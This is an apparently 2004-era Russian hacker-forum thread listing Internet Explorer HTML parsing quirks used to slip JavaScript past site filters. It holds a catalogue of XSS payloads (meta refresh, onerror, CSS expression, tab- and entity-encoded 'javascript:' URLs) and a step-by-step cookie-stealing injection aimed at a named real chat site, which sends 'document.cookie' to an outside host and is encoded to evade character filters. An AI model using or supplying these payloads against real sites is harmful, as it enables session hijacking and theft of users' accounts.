Захожу в инет с разных мест! И постоянно приходится вспоминать разные баги IE... Может мою доку разместят на antichat.ru (чтобы каждый раз не париться): ------------------------------------------------------------ Тэг img и image работают одинаково (об <image> мало кто знает). </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><img src="1.png" alt="" border="0"> <image src="1.png" alt="" border="0">[/QUOTE]<span id='postcolor'> Слеш вместо пробела. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><image/src="1.png"/alt="Подсказка"/border="0">[/QUOTE]<span id='postcolor'> Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><image src="" alt="Моя подсказка" border="0"> <image src="" alt='Моя подсказка' border="0"> <image src="" alt=`Моя подсказка` border="0"> <image src="" alt=Подсказка border="0">[/QUOTE]<span id='postcolor'> Спецсимволы в значениях параметров автоматический переводятся обратно. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><meta http-equiv=Refresh content=0;url=javascript:alert("ok")> <meta http-equiv=Refresh content=0;url=javascript:alert('ok')> <meta http-equiv=Refresh content=0;url=javascript:alert(&quot;ok&quot> <meta http-equiv=Refresh content=0;url=javascript:alert(&#039;ok&#039> <meta http-equiv=Refresh content=0;url=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#111;&#107;&#39;&#41;>[/QUOTE]<span id='postcolor'> Также можно использовать слеш (только в этом случае эти слеши будут частью текста). </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><meta http-equiv=Refresh content=0;url=javascript:alert(/ok/)>[/QUOTE]<span id='postcolor'> Несколько способов запустить JavaScript. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">< script>alert('ok')</script> < script src=1.js></script> <body onLoad=alert('ok')> <meta http-equiv=Refresh content=0;url=javascript:alert('ok')> <image src=1.png onload=alert('ok')> <image src=javascript:alert('ok')> <image src="" onerror=alert('ok')> <hr style=background:url(javascript:alert('ok'))> <span style=top:expression(eval("alert('ok')"))></span> <style type="text/css">@import url(javascript:alert('ok'));</style> <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object> <embed src=javascript:alert('ok');this.avi> <embed src=javascript:alert('ok');this.wav> <iframe src=javascript:alert('ok')>[/QUOTE]<span id='postcolor'> Операторы JavaScript из тэга STYLE надо разделять "\;". </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>[/QUOTE]<span id='postcolor'> Как украсть cookie если скрипты блокируют символы < > " ' & ??? 1. Скрипт для отсылки cookie: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><img src=javascript:location.href='http:\/\/antichat.ru\/cgi-bin\/s.jpg?'+document.cookie>[/QUOTE]<span id='postcolor'> Все / необходимо экранировать, т.к. мы будем использовать unescape(/текст/); 2. Кодируем все что надо (символы которые фильтрует чат, форум и т.п.): </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">%3Cimg src=javascript:location.href=%27http:%5C%2F%5C%2Fantichat.ru%5C%2Fcgi-bin%5C%2Fs.jpg?%27+document.cookie%3E[/QUOTE]<span id='postcolor'> 3. Теперь собираем инъекцию (пример из http://www.dmbchat.ru): При регистрации укажите свой цвет как: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">FF z=`[/QUOTE]<span id='postcolor'> Заходим в чат и посылаем: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">` style=`background:url(javascript:top.frames[3].document.write(unescape(/%3Cimg src=javascript:location.href=%27http:%5C%2F%5C%2Fantichat.ru%5C%2Fcgi-bin%5C%2Fs.jpg?%27+document.cookie%3E/)))` [/QUOTE]<span id='postcolor'> Как видно, мы не использовали ни одного запрещенного символы! После исполнения кода в 4ом фрейме будет html-код: /<img src=javascript:...>/ Который и выполнит наш скрипт!!! Совет по http://www.dmbchat.ru: Там в списке пользователей рядом с каждым именем есть пагоны (это их звания), так вот – Прапорщики могут банить аж на год =)</b>
Оформи вразумительно, тогда разместим... PS только немного нужно подправить кое-что , кое-что добавить... Например в выражении <span style=top:expression(eval("alert('ok')")></span> функция eval лишняя. А вот про знак / я чесно говоря не знал Откуда такая инфа? Сам нашел?
Да про слеши я сам нашел! Это IE так криво регулярные выражения обрабатывает! =) Я сделал html-файл со статьей, куда ее послать?
Все таки этот слеш не всегда заменяет пробел ... Например такая конструкция работает: <a href=javascript:ins("Dzzz =`">dddd</a> ` style=background:url(javascript:alert()); </td> А вот такая - нет: <a href=javascript:ins("Dzzz/=`">dddd</a> ` style=background:url(javascript:alert()); </td>
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ июня 06 2004,20:58)</td></tr><tr><td id="QUOTE">Все таки этот слеш не всегда заменяет пробел ... Например такая конструкция работает: <a href=javascript:ins("Dzzz =`">dddd</a> ` style=background:url(javascript:alert()); </td> А вот такая - нет: <a href=javascript:ins("Dzzz/=`">dddd</a> ` style=background:url(javascript:alert()); </td>[/QUOTE]<span id='postcolor'> слеши могут заменить пробелы только если значения ограничены (ковычками или апосстрофами) <a href="javascript:ins('Dzzz"/=`')">dddd</a> ` style=background:url(javascript:alert()); </td>
В принципе если пробелы не проходят, то проходит табуляция.. <a href=javascript:ins("Dzzz =`">dddd</a> ` style=background:url(javascript:alert()); </td>
В принципе, если используются регулярные выражения типа "[^\S]", то это отфильтровывает как пробелы, так и остальные non-white-space character, а именно \f\n\r\t\v\x85, т.е. и табуляцию тоже...
Кстати, сегодня копался в одном форуме (не скажу в каком ) , и обнаружил гениальную вещь. Известно, что если между двоеточием и словом javasciprt стоит пробел, то скрипт не работает: <img src="javascript :alert()"> А вот если перед двоеточием стоит табуляция, то прокатывает на ура: <img src="javascript :alert()"> (после javascript стоит табуляция) или так тоже катит: <img src="javascript&#09:alert()"> А ведь известно, что многие форумы фильтруют именно такое сочетание javascript:. А вот сочетание javascript&#09: как правило не фильтруется Как результат - форум сразу сдался )) (Спасибо Егорычу за напоминание о табе)
<img src="javascript&#9;:alert()"> <img src="javascript&#10;:alert()"> <img src="javascript&#13;:alert()"> <img src="javascript :alert()"> Причем можно использовать любое их количество и в любых комбинациях! < script> document.write('<img\13src="javascript:alert(1)"\13alt="текст"\13border="0">'); </script> \13 это символ с кодом 11 в восьмеричной системе. Кроме этого можно использовать символы с кодами: 9-13, 32, 47 (внимание: 11 и 47 не входят во множество space, word и digit). < script> document.write('<a href=javascript:ins("Dzzz\13=`">dddd</a> ` style=background:url(javascript:alert()); </td>'); </script> =)
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE"><img src="javascript&#9;:alert()"> <img src="javascript&#10;:alert()"> <img src="javascript&#13;:alert()">[/QUOTE]<span id='postcolor'> Точка с запятой - лишние. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE"><img src="javascript :alert()">[/QUOTE]<span id='postcolor'> В постингах обычно возврат каретки либо преобразуется в <BR> либо заменяется на пробел, поэтому так обычно не катит. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">< script> document.write('<img\13src="javascript:alert(1)"\13alt="текст"\13border="0">' </script> \13 это символ с кодом 11 в восьмеричной системе. Кроме этого можно использовать символы с кодами: 9-13, 32, 47 (внимание: 11 и 47 не входят во множество space, word и digit). < script> document.write('<a href=javascript:ins("Dzzz\13=`">dddd</a> ` style=background:url(javascript:alert()); </td>' </script>[/QUOTE]<span id='postcolor'> Это не катит, потому что работает только в write. А в write можно писать хоть в юникоде, хоть в escape....
2 Algol че так серова то? эж просто пример... и почему интересно не прокатит это: <a href=javascript:get('user')>user</a> если вместо user зарегиться на user...z= где ... - это символ с кодом 11 т.к. этот символ не входит в множество space (в php) возможно чат/форум проглотит это!